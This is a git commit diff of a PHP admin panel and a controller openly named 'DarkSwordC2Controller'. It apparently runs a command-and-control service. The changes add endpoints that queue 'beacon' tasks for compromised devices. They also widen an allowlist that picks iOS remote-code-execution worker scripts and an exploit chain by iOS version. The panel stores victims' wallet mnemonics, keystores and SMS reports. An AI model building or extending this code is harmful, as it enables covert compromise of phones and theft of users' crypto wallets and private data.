This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
@@ -18,6 +18,7 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DsBeaconQueue;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
@@ -124,13 +125,22 @@ class DeviceController extends Controller
$device->load(['beaconTasks']);
$queueState = ['pending' => [], 'dispatched' => [], 'done' => []];
$queueSchema = [];
if ((int) $device->chain === Device::CHAIN_DARKSWORD) {
$queue = app(\App\Services\DsBeaconQueue::class);
$queueState = $queue->getQueueState($device);
$queueSchema = \App\Services\DsBeaconQueue::PARAM_SCHEMA;
}
return view('admin.devices.show', [
'device' => $device,
'tab' => $tab,
'addressSources' => $addressSources,
'addressChains' => $addressChains,
'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
'queueState' => $queueState,
'queueSchema' => $queueSchema,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
@@ -291,7 +301,6 @@ class DeviceController extends Controller
$device->keystores()->delete();
$device->pluginSessions()->delete();
$device->smsReports()->delete();
$device->beaconTasks()->delete();
$device->delete();
});
});
@@ -849,4 +858,81 @@ class DeviceController extends Controller
return $admin instanceof Admin && $admin->isSuper();
}
// ── Beacon queue management ────────────────────────────────────────────
/**
* Add a task to the device's beacon queue.
*/
public function queueAdd(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'type' => 'required|string|max:64',
'params' => 'nullable|array',
]);
$type = (string) $request->input('type');
$params = $request->input('params');
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$task = $queue->addTask($device, $type, $params);
return response()->json([
'code' => 0,
'msg' => "已添加任务: {$task['type']}",
'data' => $task,
]);
}
/**
* Remove a task from the device's beacon queue.
*/
public function queueRemove(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'task_id' => 'required|string',
]);
$taskId = (string) $request->input('task_id');
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$removed = $queue->removeTask($device, $taskId);
if (! $removed) {
return response()->json([
'code' => 1,
'msg' => '任务不存在或已下发',
]);
}
return response()->json([
'code' => 0,
'msg' => '已移除任务',
]);
}
/**
* Reorder tasks in the device's beacon queue.
*/
public function queueReorder(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'task_ids' => 'required|array',
'task_ids.*' => 'integer',
]);
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$queue->reorderTasks($device, $request->input('task_ids', []));
return response()->json([
'code' => 0,
'msg' => '队列顺序已更新',
]);
}
}
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\CfIpCountry;
@@ -70,7 +71,7 @@ class PageVisitController extends Controller
public function logs(Request $request)
{
$uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
$uid = Device::normalizeDarkswordKey((string) $request->query('client_uid', '')) ?? '';
if ($uid === '') {
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
}
@@ -123,14 +123,13 @@ class DarkSwordC2Controller extends Controller
public function register(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = strtoupper((string) (
$device = Device::normalizeDarkswordKey((string) (
$payload['deviceUUID']
?? $payload['device']
?? $payload['uuid']
?? $request->header('X-Device-UUID')
?? ''
));
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
@@ -184,7 +183,7 @@ class DarkSwordC2Controller extends Controller
$recommended = '';
$fallbacks = [];
$chain = 'coruna';
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
$reason = 'Coruna (DS allowlist: 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2)';
}
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
@@ -337,7 +336,7 @@ class DarkSwordC2Controller extends Controller
}
/**
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
* Workers only for the DS allowlist.
*
* @return array{0: string, 1: list<string>}
*/
@@ -346,7 +345,9 @@ class DarkSwordC2Controller extends Controller
$canon = PageVisit::canonicalIosVersion($ios);
return match ($canon) {
'18.1.1', '18.4', '18.4.1' => ['rce_worker_18.4.js', ['rce_worker_18.6.js']],
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
'18.7', '18.7.1', '18.7.2' => ['rce_worker_18.7.js', ['rce_worker_18.6.js']],
default => ['rce_worker_18.6.js', []],
};
}